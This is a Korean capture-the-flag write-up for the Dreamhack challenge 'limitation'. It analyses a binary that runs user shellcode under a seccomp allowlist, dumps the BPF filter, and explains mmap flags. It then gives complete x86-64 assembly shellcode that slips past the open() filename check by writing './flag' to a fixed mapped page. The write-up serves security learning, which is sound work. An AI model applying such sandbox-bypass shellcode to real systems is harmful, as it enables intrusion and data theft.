[DH] limitation

Writeup
2025. 8. 11.

Introduction

limitation 문제에 대한 writeup입니다.

Analysis

Arch:     amd64
RELRO:      Full RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        PIE enabled
SHSTK:      Enabled
IBT:        Enabled
Stripped:   No

ida를 통해 분석하면

int __fastcall main(int argc, const char **argv, const char **envp)
{
  void *buf; // [rsp+8h] [rbp-8h]

  setvbuf(stdin, 0, 2, 0);
  setvbuf(_bss_start, 0, 2, 0);
  buf = mmap(0, 0x1000u, 7, 34, -1, 0);
  read(0, buf, 0x1000u);
  if ( (unsigned int)install_syscall_filter() )
    return 1;
  ((void (*)(void))buf)();
  return 0;
}

그리고 install_syscall_filter 함수를 보면 난해한 설정들이 보이는데 그것들을 통해서 BPF 필터라는 것을 알 수 있다. Seccomp-tools를 이용해서 필터를 확인하면 아래와 같은 결과를 얻을 수 있다.

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x01 0x00 0xc000003e  if (A == ARCH_X86_64) goto 0003
 0002: 0x06 0x00 0x00 0x00000000  return KILL
 0003: 0x20 0x00 0x00 0x00000000  A = sys_number
 0004: 0x15 0x00 0x01 0x0000000f  if (A != rt_sigreturn) goto 0006
 0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0006: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0008
 0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0008: 0x15 0x00 0x01 0x0000000c  if (A != brk) goto 0010
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x15 0x00 0x01 0x00000000  if (A != read) goto 0012
 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0012: 0x15 0x00 0x01 0x00000001  if (A != write) goto 0014
 0013: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0014: 0x20 0x00 0x00 0x00000000  A = sys_number
 0015: 0x15 0x00 0x03 0x00000002  if (A != open) goto 0019
 0016: 0x20 0x00 0x00 0x00000010  A = filename # open(filename, flags, mode)
 0017: 0x15 0x00 0x01 0x1aab2000  if (A != 0x1aab2000) goto 0019
 0018: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0019: 0x06 0x00 0x00 0x00000000  return KILL

Allowlist 기반 BPF 필터로 구성되어 있으며 A == ARCH_X86_64를 통해서 ABI를 활용한 bypass는 어려울 것을 생각할 수 있다. A != 0x1aab2000 부분이 조금 특이한데, 이는 디컴파일에서 확인한

addr = get_rand_addr() & 0xFFFFF000;
mmap((void *)addr, 0x1000u, 7, 50, -1, 0);

부분과 관련이 있다. get_rand_addr() 함수는 정의를 살펴보면 랜덤한 주소를 반환하는 함수인데, 만약 파일 이름이 addr에 저장된 경우에는 BPF 필터를 통과할 수 있다.

한편 mmap의 옵션도 살펴볼 필요가 있다.

mmap

그동안 mmap에 대해 다룬 적이 없어서 이번 기회에 살펴보려고 한다.

void *mmap(void *addr, size_t len, int prot, int flags, int fd, __off_t offset)

mmap의 프로토타입은 위와 같다.

  • addr: 매핑할 시작 주소, 0이면 커널이 자동으로 할당
  • len: 매핑할 길이
  • prot: 메모리 보호 옵션, 읽기/쓰기/실행 등을 설정
  • flags: 매핑 옵션, 공유/개인 등
  • fd: 파일 디스크립터, 파일을 매핑할 때 사용, -1이면 익명 매핑(anonymous mapping)
  • offset: 파일에서 매핑을 시작할 오프셋

예를 들어 문제에서 사용된

buf = mmap(0, 0x1000u, 7, 34, -1, 0);

는 곧

  • addr: 0 (커널이 자동으로 할당)
  • len: 0x1000 (4096 바이트)
  • prot: 7 (= 4+ 2 + 1 = + PROT_READ + PROT_WRITE + PROT_EXEC)
  • flags: 34 (= 32 + 2 = MAP_PRIVATE + MAP_ANONYMOUS)
  • fd: -1 (익명 매핑)
  • offset: 0 (파일에서 시작하지 않음)

를 의미한다.

한편 addr의 매핑에 사용된 옵션을 보면 조금 다른데,

mmap((void *)addr, 0x1000u, 7, 50, -1, 0);

즉, flags = 50 = 32 + 16 + 2 = MAP_SHARED + MAP_FIXED + MAP_ANONYMOUS이다. 여기서 MAP_FIXED는 지정한 주소에 매핑을 강제로 수행한다는 의미이다. 즉, addr에 지정된 주소에 매핑을 시도한다. 그리고 MAP_ANONYMOUS가 파일 없이 매핑을 할 때는 초기값이 0으로 설정된다.

Conclusion

따라서 shell code로 addr에 저장된 주소에 open할 파일 이름을 저장하고 열면 BPF 필터를 통과할 수 있다.

어떻게 하면 addr에 저장된 주소를 알 수 있을까? gdb로 디버깅을 해보면

             Start                End Perm     Size  Offset File (set vmmap-prefer-relpaths on)
        0x13c75000         0x13c76000 rwxp     1000       0 [anon_13c75]

위처럼 addr에 해당하는 주소를 확인할 수 있고, buf를 call 한 후 기준 $rbp-0xe80x13c75000ffffd508라는 값이 저장되어 있는 것을 확인할 수 있다. 따라서 shell code로 프로그램 하나 짠다고 생각하고 저 값을 이용해 addr에 저장된 주소에 open할 파일 이름을 저장하고 열면 BPF 필터를 통과할 수 있다.

raxsyscallrdirsirdx
0sys_readunsigned int fdchar *bufsize_t count
1sys_writeunsigned int fdconst char *bufsize_t count
2sys_openconst char *filenameint flagsint mode

위 내용을 참고해 아래의 shell code를 작성할 수 있다.

mov rdx, 0x000067616c662f2e
xor rax, rax
mov eax, dword ptr [rbp - 0xe4]
mov qword ptr [rax], rdx
mov rdi, rax
mov rsi, 0x0
mov rdx, 0x0
mov rax, 2
syscall
mov rdi, rax
mov rsi, rbp
sub rsi, 0xe0
mov rdx, 0x100
mov rax, 0
syscall
mov rdi, 1
mov rsi, rbp
sub rsi, 0xe0
mov rdx, 0x100
mov rax, 1
syscall

Solution

쉘코드를 작성하였기 때문에 생략한다.

[DH] limitation